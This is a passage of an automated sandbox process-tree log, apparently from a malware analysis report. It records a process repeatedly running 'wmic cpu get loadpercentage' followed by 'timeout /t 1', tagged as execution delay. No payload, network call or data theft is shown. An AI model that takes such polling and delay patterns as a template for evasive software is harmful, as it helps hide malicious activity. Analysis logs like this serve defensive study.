C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:404
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4196
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2044
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4780
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3624
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3748
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3348
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4728
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:992
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3908
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3236
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:668
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3328
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4748
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1720
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1668
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1328
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5096
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3416
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4672
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3164
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3872
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3248
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3944
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3060
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2524
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1472
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1324
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4896
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3472
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:352
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1140
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2536
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2232
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2220
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2676
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2348
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4876
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3640
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2728
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3232
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:432
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4268
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:764
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1452
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3564
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4620
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1284
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2288
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3060
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4328
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1508
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1532
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1336
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2796
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1140
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4172
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4028
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1772
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3892
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2516
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2844
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2692
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2232
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3528
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3932
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2128
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3896
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:664
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2244
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4808
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2256
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1284
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:580
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3984
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1212
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4020
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1132
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:868
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:920
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2652
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1332
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1836
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2708
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2892
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4696
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:836
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:664
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3048
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:760
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2244
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2196
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:892
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1388
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2552
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4620
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3712
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4588
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2364
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3060
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3944
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4988
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4272
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3112
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1620
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1772
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2332
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3492
-
-
-
